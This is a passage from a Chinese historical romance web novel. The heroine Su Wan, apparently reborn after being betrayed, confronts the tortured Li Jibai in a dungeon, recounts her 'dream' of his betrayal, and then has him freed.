李既白被粗重的铁链吊缚在刑架上,双臂向两侧展开。他身上的囚衣早已被鞭刑撕裂成的布条,一道道翻卷的皮肉纵横,几乎找不到一块完好的地方。冷水泼醒后留下的水渍混着血污,顺着消瘦的小腿往下滴落,在脚下积成一小滩暗红。 他低垂着头,凌乱的黑发黏在汗湿的额头和脸颊,遮住了大半面容。唇色是失血过多的灰白,干裂起皮。胸膛的起伏微不可察,若非那偶尔因剧痛而引发的细微颤抖,几乎让人以为这已是一具残破的尸体。 谢昀虽死,但他入狱之初下的“好好招呼”的命令,照样被忠实地执行。 再到后来墨痕出逃的消息,狱卒们更是变本加厉,对他施加了远超之前的酷刑拷打。 他用尽仅存的意志力去分辨那些零碎的信息,拼凑着外界的轮廓。 脚步声由远及近,在这死寂的牢狱甬道中格外清晰。不是狱卒那种粗重散漫的步伐,而是更轻,带着一种刻意放缓的节奏。 刑架上的人,手指几不可察地蜷缩了一下,却没有抬头。 脚步声停在了牢门外。铁锁响动,牢门被推开。 一股淡淡的,清冽中夹杂着一丝烟火气的风,随着来人的步入搅动了污浊的空气。 李既白终于极其艰难地抬起了头。 透过眼前被血污黏连的发丝缝隙,他看到了那抹刺目的红。 苏晚。 她穿着一身华丽繁复的绿色嫁衣,只是衣摆袖口沾染了些暗色污迹,凤冠已除,青丝简单绾起,面容艳丽。那双眼睛也亮得惊人,如同浸在寒潭中的黑曜石,清晰地映出他此刻狼狈不堪的模样。 时间仿佛在这一刻凝固 李既白的喉咙里发出嗬嗬的声响,似乎想说什么,却只吐出一口浊气。他看到她的平安,心口那比鞭笞刀割更甚的疼痛,竟奇异地缓解了些许。她来了……她终究还是来了。 苏晚向前走了几步,停在刑架前,距离他不过咫尺之遥 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从她选择复仇,选择将那些通敌证据送出去,将北境军引来的那一刻起,她就没想过能全身而退,更没想过……还能有什么未来。 今日能救他出这地牢,了结前尘旧债,已是侥幸。 至于以后……她已做好了准备。无论是面对谢家的反扑,朝廷的严厉追究,还是……眼前这人可能带来的未知风险。 她看着他,眼中翻涌的恨意与回忆渐渐沉淀下去,化为一片近乎虚无的平静。 “李既白,”她终于开口,声音在这死寂的牢房里显得异常清晰,“看到你现在这副样子,我忽然觉得……挺痛快的。” “你知道吗?”苏晚微微偏头,仿佛在回忆,“我做过一个很长……很痛的梦。梦里,我也被关在这样的地方,也被这样吊着,鞭打,折磨……为了替一个人顶罪,为了洗脱他‘三皇子党羽’的嫌疑。我信了他的话,以为只是权宜之计,很快就能出去。” 她的目光重新聚焦在他脸上,“可是啊,我等啊等,等来的却是他另娶高门贵女的消息。我等来的,是他亲自来到这地牢,用我亲手送的匕首,捅进了这里——” 她抬手,指尖虚虚点在自己心口的位置,“然后告诉我,‘棋子,用完就该弃了’。” 李既白瞳孔骤然收缩,心口仿佛被那只无形的手指狠狠戳中,痛得他眼前发黑。 他不知她为何会突然说起这样荒诞又可怕的“梦”,可那话语中的绝望是如此真实,真实到让他浑身发冷! “不……昭昭……那不是……”他嘶哑地想要辩解,想要告诉她那不是真的,他绝不会那样对她!可剧烈的疼痛让他语不成调。 “不是什么?”苏晚打断他,“不是真的?还是说,你不是三皇子的人?李既白,别骗自己,也别骗我了。慧贵妃是你的姨母,上官威是你的表兄。你们……从来都是一边的。” 她顿了顿,看着他那双写满痛苦和无数未言之语的眼睛,“所以啊,” 她轻轻叹了口气,“我们之间,早就回不去了。从你选择站在那边开始,从我决定走这条路开始,就注定了。今日我来,是替梦里那个傻了的自己,做个了断。” 她上前一步,几乎贴近他。 “李既白,”她用只有两人能听到的声音,“若这世间真有因果轮回,若我真是那梦里归来索债的冤魂……那么,亲眼看着你此刻的模样,看着你珍视的一切因我而崩塌,看着你众叛亲离、身陷囹圄的滋味……我忽然觉得,好像也没那么恨了。” “因为,我们都不过是这棋局里,身不由己的棋子罢了。区别只在于,我这颗棋子,不想再任人摆布了。哪怕最后是粉身碎骨。” 说完,她不再看他,对着牢门外沉声道:“墨痕,可以进来了。带他走。” 李既白望着她决绝离去的背影,张了张嘴,却发不出任何声音。只有心脏处传来的绞痛,让他几乎窒息。 昭昭……你到底……经历了什么? 那真的……只是梦吗? 为何你的眼神,如此苍凉,如此绝望,仿佛……已经死过一次? 而他,什么都不知道,什么也做不了,只能眼睁睁看着她,一步步,走出他的世界。 剧痛与无边的恐慌,如同这地牢的黑暗,将他彻底吞噬。